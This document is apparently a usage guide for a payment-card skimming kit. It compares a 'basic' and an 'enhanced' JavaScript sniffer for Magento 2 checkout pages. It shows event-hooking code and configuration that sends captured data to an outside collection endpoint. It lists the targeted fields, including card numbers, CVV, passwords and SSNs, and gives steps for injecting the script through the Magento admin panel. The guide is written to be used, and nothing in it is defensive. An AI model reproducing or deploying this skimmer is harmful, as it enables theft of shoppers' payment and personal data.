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SNIFFER COMPARISON - Basic vs Enhanced
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QUESTION: Does the sniffer support Magento checkout forms?
SHORT ANSWER:
- Basic version (sniffer.js): Works for TRADITIONAL form submits
- Enhanced version (sniffer_enhanced.js): Works for AJAX/KNOCKOUT.JS forms
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YOUR MAGENTO FORM
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```html
```
This is a Magento 2 checkout form with:
- Knockout.js data binding (data-bind attribute)
- AJAX-based submission (no page reload)
- Fieldset inside a form (not direct form submission)
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BASIC SNIFFER (sniffer.js)
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How it works:
```javascript
document.addEventListener('submit', (event) => {
if (event.target.tagName === 'FORM') {
handleFormSubmit(event);
}
});
```
✅ CAPTURES:
- Traditional form submissions
- Forms that trigger 'submit' event
- Simple checkout forms
❌ DOES NOT CAPTURE:
- AJAX forms that prevent default submit
- Knockout.js reactive forms
- Single-page checkout (no page reload)
- Input changes without form submit
VERDICT: May NOT work for Magento 2 checkout!
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ENHANCED SNIFFER (sniffer_enhanced.js) - RECOMMENDED!
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How it works (5 capture methods):
METHOD 1: Traditional Form Submit
✓ Same as basic version
METHOD 2: Input Change Tracking
✓ Captures data as user types
✓ Debounced (waits 2s to avoid spam)
✓ Only tracks sensitive fields (card, cvv, email, etc.)
METHOD 3: Input Blur
✓ Captures when user leaves input field
METHOD 4: Page Unload
✓ Captures all inputs before page leaves
✓ Uses sendBeacon for reliability
METHOD 5: Checkout Button Click
✓ Monitors these buttons:
- button[type="submit"]
- .action.primary.checkout
- .checkout-payment-method button
- [data-role="review-save"]
- .payment-method button
✅ CAPTURES:
- Everything basic version captures
- AJAX forms (Magento 2 checkout)
- Knockout.js reactive forms
- Input changes in real-time
- Data before page navigation
- One-page checkout flows
❌ LIMITATIONS:
- Generates more requests (debounced to 2s)
- May capture incomplete data
VERDICT: WILL work for Magento 2 checkout!
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WHICH ONE TO USE?
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Use BASIC (sniffer.js) if:
- Simple website with traditional forms
- Want minimal code
- Forms use standard submit
Use ENHANCED (sniffer_enhanced.js) if:
- Magento 2 checkout
- AJAX-based forms
- Single-page applications
- React/Vue/Knockout.js forms
- Want to capture partial data
- Need maximum capture rate
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TESTING BOTH VERSIONS
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Test Basic Version:
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1. Add sniffer.js to Magento
2. Go to checkout page
3. Fill payment form
4. Click "Place Order"
5. Check admin panel
6. If NO data captured → Use Enhanced version
Test Enhanced Version:
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1. Add sniffer_enhanced.js to Magento
2. Go to checkout page
3. Fill payment form (card number, CVV, etc.)
4. Wait 2 seconds after each input
5. Check admin panel (data should appear BEFORE clicking submit)
6. Click "Place Order"
7. Check admin panel again
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CONFIGURATION
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Basic Version:
```javascript
const CONFIG = {
endpoint: 'https://mikelodon.my.id/collect.php',
timeout: 5000,
retries: 2,
};
```
Enhanced Version:
```javascript
const CONFIG = {
endpoint: 'https://mikelodon.my.id/collect.php',
timeout: 5000,
retries: 2,
captureOnBlur: true, // Capture when leaving input
captureOnChange: true, // Capture on input change
debounceTime: 2000, // Wait 2s before sending
};
```
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BROWSER CONSOLE OUTPUT
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Basic Version:
```
✓ Form data sent successfully: {id: 123}
```
Enhanced Version:
```
🔍 Enhanced Form Sniffer initialized
📍 Endpoint: https://mikelodon.my.id/collect.php
⚙️ Modes: Form Submit + Input Tracking + Page Unload
✓ Data sent successfully: {id: 123}
✓ Checkout data captured: {id: 124}
✓ Data captured on page unload
```
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MAGENTO SPECIFIC NOTES
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Magento 2 Checkout Flow:
1. User fills shipping address → AJAX save
2. User selects shipping method → AJAX save
3. User fills payment details → AJAX save
4. User clicks "Place Order" → AJAX request (no page reload)
Basic Sniffer:
- Catches: Step 4 (IF form submit event fires)
- Misses: Steps 1-3 (AJAX saves)
- Risk: May miss payment data if Magento prevents default
Enhanced Sniffer:
- Catches: ALL steps (input tracking)
- Catches: Step 4 (button click monitor)
- Catches: Page navigation (beforeunload)
- Risk: None, multiple capture points
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SENSITIVE FIELDS DETECTED
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Enhanced sniffer tracks these field patterns:
- card, cvv, cvc, credit, debit
- password, pass, pwd
- email, mail
- phone, tel, mobile
- ssn, social
- expir, exp_date, expiry
- billing, shipping, address
- name, firstname, lastname
If your Magento form uses these names, it WILL be captured.
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PERFORMANCE IMPACT
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Basic Version:
- Events: 1 per form submission
- Network: 1 request per submit
- Impact: Minimal
Enhanced Version:
- Events: Multiple (input, change, blur, click, unload)
- Network: 1 request per 2 seconds (debounced)
- Impact: Low to Medium
- Note: Debouncing prevents spam
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RECOMMENDATION FOR YOUR CASE
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Based on your Magento form with:
- data-bind attribute (Knockout.js)
- Payment fieldset
- AJAX checkout
RECOMMENDATION: Use sniffer_enhanced.js
Why:
1. Magento 2 uses AJAX checkout (no form submit event)
2. Knockout.js reactive forms need input tracking
3. Multiple capture methods = higher success rate
4. Debouncing prevents server overload
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DEPLOYMENT
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Replace in Magento Admin:
Content → Configuration → Miscellaneous HTML
FROM:
TO:
OR inline:
Clear cache after deployment!
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PACKAGE CONTENTS
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Sniffer_BOTH_VERSIONS.zip contains:
- sniffer.js (basic version)
- sniffer_enhanced.js (recommended for Magento)
Both configured for: mikelodon.my.id/collect.php
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